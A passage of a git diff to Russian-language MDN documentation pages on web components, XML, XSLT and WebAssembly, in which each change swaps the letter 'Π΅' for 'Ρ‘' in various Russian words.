-<p>НаконСц, рСгистрируСм ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт Π²Β <code>CustomElementRegistry</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>define()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ упоминался Ρ€Π°Π½Π΅Π΅Β β€” Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅ΠΌΡƒ имя элСмСнта и имя класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ:</p>
+<p>НаконСц, рСгистрируСм ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт Π²Β <code>CustomElementRegistry</code> с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°Β <code>define()</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ упоминался Ρ€Π°Π½Π΅Π΅Β β€” Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅ΠΌΡƒ имя элСмСнта и имя класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π΅Π³ΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ:</p>
<pre class="brush: js">customElements.define('popup-info', PopUpInfo);</pre>
@@ -164,7 +164,7 @@ wrapper.appendChild(info);</pre>
&lt;/ul&gt;</pre>
-<p>Π’Ρ‹ Π·Π°Π΄Π°Π΅Ρ‚Π΅ элСмСнт <code>&lt;ul&gt;</code> ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ имя ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <code>is</code>.</p>
+<p>Π’Ρ‹ Π·Π°Π΄Π°Ρ‘Ρ‚Π΅ элСмСнт <code>&lt;ul&gt;</code> ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ, Π½ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ имя ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ элСмСнта Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅Β <code>is</code>.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ΠŸΠΎΠ»Π½Ρ‹ΠΉ <a href="https://github.com/mdn/web-components-examples/blob/master/expanding-list-web-component/main.js">исходный ΠΊΠΎΠ΄ Π½Π° JavaScript</a> доступСн здСсь.</p>
@@ -177,7 +177,7 @@ wrapper.appendChild(info);</pre>
<ul>
<li><code>connectedCallback</code>: Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ добавляСтся Π²Β DOM.</li>
<li><code>disconnectedCallback</code>: Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт удаляСтся ΠΈΠ·Β DOM.</li>
- <li><code>adoptedCallback</code>: Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π² Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</li>
+ <li><code>adoptedCallback</code>: Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π² Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</li>
<li><code>attributeChangedCallback</code>: Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠΌΡƒ элСмСнту Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚, ΡƒΠ΄Π°Π»ΡΡŽΡ‚ ΠΈΠ»ΠΈ ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</li>
</ul>
@@ -216,14 +216,14 @@ shadow.appendChild(div);</pre>
updateStyle(this);
}</pre>
-<p>колбэки <code>disconnectedCallback()</code> ΠΈ <code>adoptedCallback()</code> Π»ΠΎΠ³ΠΈΡ€ΡƒΡŽΡ‚ простыС сообщСния Π½Π° консоль, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»ΡΡŽΡ‚ нас, Ρ‡Ρ‚ΠΎ элСмСнт ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ·Β DOM ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу:</p>
+<p>колбэки <code>disconnectedCallback()</code> ΠΈ <code>adoptedCallback()</code> Π»ΠΎΠ³ΠΈΡ€ΡƒΡŽΡ‚ простыС сообщСния Π½Π° консоль, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡƒΠ²Π΅Π΄ΠΎΠΌΠ»ΡΡŽΡ‚ нас, Ρ‡Ρ‚ΠΎ элСмСнт ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ·Β DOM ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу:</p>
<pre class="brush: js">disconnectedCallback() {
console.log('ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΡƒΠ΄Π°Π»Π΅Π½.');
}
adoptedCallback() {
- console.log('ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу.');
+ console.log('ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Ρ‘Π½ Π½Π° Π΄Ρ€ΡƒΠ³ΡƒΡŽ страницу.');
}</pre>
<p>Колбэк <code>attributeChangedCallback()</code> запускаСтся ΠΊΠΎΠ³Π΄Π° ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² элСмСнта мСняСтся. Как Π²ΠΈΠ΄Π½ΠΎ ΠΈΠ· Π΅Π³ΠΎ свойств, ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΠ·Π΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, глядя Π½Π° ΠΈΡ… ΠΈΠΌΠ΅Π½Π°, ΠΈ Π½ΠΎΠ²Ρ‹Π΅ ΠΈ старыС значСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ². Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΎΠ΄Π½Π°ΠΊΠΎ,Β ΠΌΡ‹ просто снова запускаСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>updateStyle()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»ΠΈ Π½ΠΎΠ²Ρ‹Π΅ значСния:</p>
diff --git a/files/ru/web/xml/xml_introduction/index.html b/files/ru/web/xml/xml_introduction/index.html
index ef5b2732a9..f97db1f1cd 100644
--- a/files/ru/web/xml/xml_introduction/index.html
+++ b/files/ru/web/xml/xml_introduction/index.html
@@ -7,7 +7,7 @@ tags:
- XML
translation_of: Web/XML/XML_introduction
---
-<p><span class="seoSummary">XML - это язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ HTML. Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ΡΡ ΠΊΠ°ΠΊ (Π°Π½Π³Π». Extensible Markup Language - Π Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ Π―Π·Ρ‹ΠΊ Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ) ΠΈ являСтся Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠ΅ΠΉ сообщСства <a class="external" href="https://www.w3.org">W3C</a>Β Π² качСствС языка Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). Π’Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… языков Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, XML сам ΠΏΠΎ сСбС Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ (это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ сами ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅Β Ρ‚Π΅Π³ΠΈ). Основной Ρ†Π΅Π»ΡŒΡŽ XML являСтся ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ систСмами (Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ), Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚.</span></p>
+<p><span class="seoSummary">XML - это язык Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉ HTML. Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π²Π°Π΅Ρ‚ΡΡ ΠΊΠ°ΠΊ (Π°Π½Π³Π». Extensible Markup Language - Π Π°ΡΡˆΠΈΡ€ΡΠ΅ΠΌΡ‹ΠΉ Π―Π·Ρ‹ΠΊ Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ) ΠΈ являСтся Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠ΅ΠΉ сообщСства <a class="external" href="https://www.w3.org">W3C</a>Β Π² качСствС языка Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΎΠ±Ρ‰Π΅Π³ΠΎ назначСния (</span><a href="https://www.w3.org/TR/xml/">W3C recommended</a><span class="seoSummary">). Π’Β ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΈ ΠΎΡ‚ ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… языков Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ, XML сам ΠΏΠΎ сСбС Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ (это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ сами ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅Β Ρ‚Π΅Π³ΠΈ). Основной Ρ†Π΅Π»ΡŒΡŽ XML являСтся ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡Π° Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ систСмами (Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Π½Ρ‹ΠΌΠΈ), Ρ‚Π°ΠΊΠΈΠΌΠΈ ΠΊΠ°ΠΊ ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚.</span></p>
<p>Много языков Π±Π°Π·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π½Π° XML; НСкоторыС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹:Β <a href="/ru/docs/Π‘Π»ΠΎΠ²Π°Ρ€ΡŒ/XHTML" title="ru/XHTML">XHTML</a>, <a href="/ru/docs/Web/MathML" title="ru/MathML">MathML</a>, <a href="/ru/docs/Web/SVG" title="ru/SVG">SVG</a>, <a href="/ru/docs/Mozilla/Tech/XUL" title="ru/XUL">XUL</a>, <a href="/en-US/docs/Mozilla/Tech/XBL" title="en/XBL">XBL</a>, <a href="/en-US/docs/Web/RSS" title="en/RSS">RSS</a>, ΠΈ <a href="/ru/docs/RDF" title="ru/RDF">RDF</a>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ свой.</p>
@@ -49,7 +49,7 @@ translation_of: Web/XML/XML_introduction
&lt;/message&gt;
</pre>
-<p>Β Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТащий Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚Π΅Π³ являСтся Π½Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ. НапримСр, Ссли ΠΌΡ‹ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ‚Π΅Π³Β <code>&lt;warning&gt;</code>, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π΅Π½.</p>
+<p>Β Π”ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТащий Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚Π΅Π³ являСтся Π½Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ. НапримСр, Ссли ΠΌΡ‹ Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ‚Π΅Π³Β <code>&lt;warning&gt;</code>, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π΅Π½.</p>
<div class="note">
<p>Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² встроСн Π΄Π΅Π±Π°Π³Π³Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠ»ΠΎΡ…ΠΎ написанный XML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚.</p>
@@ -100,7 +100,7 @@ translation_of: Web/XML/XML_introduction
<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;!DOCTYPE body [
- &lt;!ENTITY warning "ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅: ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΡ‚Π΅ Π΅Ρ‰Π΅ Ρ€Π°Π·."&gt;
+ &lt;!ENTITY warning "ΠŸΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅: ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° ошибка, ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ ΠΈ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΡ‚Π΅ Π΅Ρ‰Ρ‘ Ρ€Π°Π·."&gt;
]&gt;
&lt;body&gt;
&lt;message&gt; &amp;warning; &lt;/message&gt;
@@ -123,7 +123,7 @@ translation_of: Web/XML/XML_introduction
<h2 id="Recommendations" name="Recommendations">Π Π΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°Ρ†ΠΈΠΈ</h2>
-<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ являСтся ΠΎΡ‡Π΅Π½ΡŒ малСньким Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ Π² XML, с ΠΎΡ‡Π΅Π½ΡŒ малСньким количСством ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈ ссылок для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с этим языком. Π§Ρ‚ΠΎΠ±Ρ‹ большС ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΏΡ€ΠΎ XML, Π²Π°ΠΌ придСтся ΠΈΡΠΊΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
+<p>Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ являСтся ΠΎΡ‡Π΅Π½ΡŒ малСньким Π²Π²Π΅Π΄Π΅Π½ΠΈΠ΅ΠΌ Π² XML, с ΠΎΡ‡Π΅Π½ΡŒ малСньким количСством ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΈ ссылок для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π½Π°Ρ‡Π°Ρ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ с этим языком. Π§Ρ‚ΠΎΠ±Ρ‹ большС ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΏΡ€ΠΎ XML, Π²Π°ΠΌ придётся ΠΈΡΠΊΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ ΡΡ‚Π°Ρ‚ΡŒΠΈ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅.</p>
<p>Π˜Π·ΡƒΡ‡Π°ΠΉΡ‚Π΅Β <a href="/ru/docs/Web/HTML" title="ru/HTML">HTML</a>Β (Π°Π½Π³Π». HyperText Markup Language), Π·Π½Π°Π½ΠΈΠ΅ HTML ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ XML.</p>
diff --git a/files/ru/web/xslt/index.html b/files/ru/web/xslt/index.html
index 9c1d10b3d7..a9cab24eb1 100644
--- a/files/ru/web/xslt/index.html
+++ b/files/ru/web/xslt/index.html
@@ -10,7 +10,7 @@ translation_of: Web/XSLT
<p>Β </p>
-<p>Π₯отя этот процСсс называСтся Β«ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌΒ», исходный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ измСняСтся; скорСС Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ XML создаСтся Π½Π° основС содСрТимого ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π—Π°Ρ‚Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сСриализован (Π²Ρ‹Π²Π΅Π΄Π΅Π½) процСссором Π² стандартном синтаксисС XML ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ <a href="/ru/docs/Web/HTML">HTML</a> ΠΈΠ»ΠΈ простой тСкст.</p>
+<p>Π₯отя этот процСсс называСтся Β«ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌΒ», исходный Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ Π½Π΅ измСняСтся; скорСС Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ XML создаётся Π½Π° основС содСрТимого ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. Π—Π°Ρ‚Π΅ΠΌ Π½ΠΎΠ²Ρ‹ΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сСриализован (Π²Ρ‹Π²Π΅Π΄Π΅Π½) процСссором Π² стандартном синтаксисС XML ΠΈΠ»ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, Ρ‚Π°ΠΊΠΎΠΌ ΠΊΠ°ΠΊ <a href="/ru/docs/Web/HTML">HTML</a> ΠΈΠ»ΠΈ простой тСкст.</p>
<p>XSLT Ρ‡Π°Ρ‰Π΅ всСго ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для прСобразования Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ схСмами XML ΠΈΠ»ΠΈ для прСобразования Π΄Π°Π½Π½Ρ‹Ρ… XML Π² Π²Π΅Π±-страницы ΠΈΠ»ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρ‹ PDF.</p>
diff --git a/files/ru/webassembly/c_to_wasm/index.html b/files/ru/webassembly/c_to_wasm/index.html
index 7f47e01433..06a835effe 100644
--- a/files/ru/webassembly/c_to_wasm/index.html
+++ b/files/ru/webassembly/c_to_wasm/index.html
@@ -47,7 +47,7 @@ int main(int argc, char ** argv) {
<p>Рассмотрим ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ компилятору:</p>
<ul>
- <li><code>-s WASM=1</code> β€” Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ wasm ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. Если Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Emscripten просто создаСт  <a href="http://asmjs.org/">asm.js</a>;</li>
+ <li><code>-s WASM=1</code> β€” Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ wasm ΠΌΠΎΠ΄ΡƒΠ»ΡŒ. Если Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Emscripten просто создаёт  <a href="http://asmjs.org/">asm.js</a>;</li>
